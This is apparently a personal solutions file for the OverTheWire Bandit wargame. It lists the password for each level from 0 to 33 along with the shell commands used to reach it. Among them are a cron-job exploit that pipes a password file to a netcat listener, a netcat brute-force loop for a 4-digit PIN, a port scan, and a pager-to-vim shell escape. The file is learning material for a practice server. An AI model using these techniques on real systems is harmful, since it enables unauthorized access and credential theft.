ctfs/overthewire/bandit/passwords.md

bandit0: bandit0 bandit1: ZjLjTmM6FvvyRnrb2rfNWOZOTa6ip5If cat readme bandit2: 263JGJPfgU6LtdEvgfWU1XP5yac29mFx cat ./- bandit3: MNk8KNH3Usiio41PRUEoDFPqfxLPlSmx bandit4: 2WmrDFRmJIq3IPxneAaMGhap0pFhF3NJ bandit5: 4oQYVPkxZOOEOO5pTW81FB8j8lxXGUQw bandit6: HWasnPhtq9AVKe0dmk45nxy20cvUa6EG find inhere/ -type f -print 2>/dev/null | xargs -d '\n' ls -l | grep 1033 bandit7: morbNTDkSW6jIlUc0ymOdMaLnOlFVAaj cat $(find / -type f -user bandit7 -group bandit6 2>/dev/null) bandit8: dfwvzFQi4mU0wfNbFOe9RoWskMLg7eEc <data.txt grep millionth bandit9: 4CKMh1JI91bUIZZPXDqGanal4xvAg0JM sort data.txt | uniq -u bandit10: FGUW5ilLVJrxX9kMYMmlN4MgbpfMiqey strings data.txt | grep "^==" bandit11: dtR173fZKb0RRsDFSGsg2RWnpNVj3qRr cat data.txt | base64 -d bandit12: 7x16WNeHIi5YkIhWsfFIqoognUTyj9Q4 <data.txt tr 'A-Za-z' 'N-ZA-Mn-za-m' bandit13: FO5dwFsc0cbaIiH0h8J2eUks2vdTDwAn bash #!/usr/bin/env bash set -e WORKING=$(mktemp -d) xxd -r ~/data.txt $WORKING/data.bin # then run `tar xf`, `gzip -d`, `bzip2 -d` a million times bandit14: MU4VWeTyJk8ROof1qqmcBPaLh7lDCPvS bash #!/usr/bin/env bash KEY="./id_bandit14" scp -P 2220 bandit13@bandit.labs.overthewire.org:~/sshkey.private $KEY ssh-keygen -y -f $KEY > "$KEY.pub" chmod 600 $KEY* # login with private key ssh bandit14@bandit.labs.overthewire.org -p 2220 -i ./id_bandit14 # >>> echo /etc/bandit_pass/bandit14 bandit15: 8xCjnmgoKbGLhHFAZlGE5Tmu4M2tKJQo echo "MU4VWeTyJk8ROof1qqmcBPaLh7lDCPvS" | nc localhost 30000 bandit16: kSkvUpMQ7lBYyCM4GBPvCvT1BfWRy0Dx openssl s_client -connect localhost:30001 bandit17: STORED IN keys/id_bandit17* bash # get all open ports nmap localhost -T5 -p31000-32000 | grep open | awk '{print substr($1, 1, 5)}' bandit18: x2gLTTjFwMOhQ8oWNbMN362QKxfRqGlO diff passwords.old passwords.new bandit19: cGWpMaKXVwDUNgPAVJbWYuGHVn9zl3j8 ssh bandit19@bandit.labs.overthewire.org -p 2220 -t /bin/sh bandit20: 0qXahG8ZjOVMN9Ghs7iOWsCfZyXOUbYO ./bandit20-do cat /etc/bandit_pass/bandit20 bandit21: EeoULMCra2q0dSkYj561DX7s1CpBuOBt tmux new -s imbaud # Ctrl-b + " BOX=$(mktemp) && echo "0qXahG8ZjOVMN9Ghs7iOWsCfZyXOUbYO" > $BOX && <$BOX nc -l -p 5555 # Ctrl-b + o ~/suconnect 5555 bandit22: tRae0UfB9v0UzbCdn9cY0gQnds9GF58Q /etc/cron.d/cronjob_bandit22 references binary /usr/bin/cronjob_bandit22.sh which complains about bad privileges for /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv then cat out the temp file and BOOM bandit23: 0Zf11ioIjMVN551jX3CmStKLYqjk54Ga Similar solution to previous one with /etc/cron.d/cronjob_bandit23 cat /tmp/$(echo I am user bandit23 | md5sum | cut -d ' ' -f 1) bandit24: gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8 bash # terminal 1: nc -l -p 5555 # terminal 2: echo -e "#\!/bin/bash\ncat /etc/bandit_pass/bandit24 | nc localhost 5555" > /var/spool/bandit24/foo/gibme bandit25: iCi86ttT4KSNe1armKiwbQNmB3YJP3q4 '''bash python3 -c "from itertools import product; [print(''.join(D)) for D in product((str(x) for x in range(10)), repeat=4)]" | xargs -L1 echo "gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8" | nc localhost 30002 | grep -v "Wrong" ''' bandit26: s0773xxkk0MXfdqOfPRVr9L3jJBUOgCZ First copy the private key from bandit25's home Then cat /etc/passwd | grep bandit26 to find what shell bandit26 uses: # bandit26❌11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext cat /usr/bin/showtext to see it runs the more pager then exits. more will enter "command" mode if the terminal window is too small to view the paged contents, which allows us to run the v command which opens the content in vim instead. Next, do :set shell=/bin/bash and then run vim's :shell to GTFO

bandit27: upsNCc7vzaRDx6oZC6GiR6ERwe1MowGB From bandit26 in bash: ./bandit27-do cat /etc/bandit_pass/bandit27 bandit28: Yz9IpL0sBcCeuG7m9uQFt8ZNpS4HZRcN bash BOX=$(mktemp -d); echo $BOX git clone ssh://bandit27-git@localhost:2220/home/bandit27-git/repo $BOX # use same password as bandit27 login cd $BOX # then check README bandit29: 4pT1t5DENaYuqnqvadYs1oE4QLCdjmJ7 Do same as bandit28 for /home/bandit28-git/repo, then: git show fb0df1358b1ff146f581651a84bae622353a71c0:README.md bandit30: qp30ex3VLz5MDG1n91YowTv4Q8l7CDZL Do what bandit29 did but then: bash git branch -r # list all remote branches git fetch --all bandit31: fb5S2xb7bRyFmAvQYQGEqsbhVyJqhnDy Similar to bandit30 but use: bash git tag git show secret # show the "secret" tag bandit32: 3O9RfhqyAlVBEZpVb6LYStshZoqoSx5K Simply rm .gitignore then git add .; git commit -m "AHHHHH"; git push -u origin bandit33: tQdtbs5D5i2vJwkO8mEyYEyTL8izoeJ0 bash # use symbols since uppercase messes everything up $0 # the shell runs "sh <CMD>" so "sh $0" => "sh sh" cat /etc/bandit_pass/bandit33

>>> bandit33@bandit:~/README.md <<<
Congratulations on solving the last level of this game!

At this moment, there are no more levels to play in this game. However, we are constantly working
on new levels and will most likely expand this game with more levels soon.
Keep an eye out for an announcement on our usual communication channels!
In the meantime, you could play some of our other wargames.

If you have an idea for an awesome new level, please let us know!

Learnings:

Connect over SSL/TLS (like telnet/nc does) using openssl:
	`openssl s_client -connect HOST:PORT -quiet`
	Note: commands starting with "k" will trigger "KEYUPDATE"
		  run openssl with the `-quiet` flag to avoid this	
	https://docs.openssl.org/3.0/man1/openssl-s_client/#connected-commands
	
The pager "more" goes into a command mode if the terminal is too small to display
the content. Which allows us to run any command we want.

Git:
	git show <COMMIT>:file/path/here # print a file content at specific hash
	git branch -r # list all branches stored on the remote